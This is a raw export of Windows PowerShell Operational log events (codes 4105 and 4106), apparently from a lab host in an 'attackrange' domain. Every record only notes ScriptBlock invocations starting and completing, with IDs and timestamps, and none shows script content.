Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028195
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028194
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028193
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028192
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028175
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028169
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
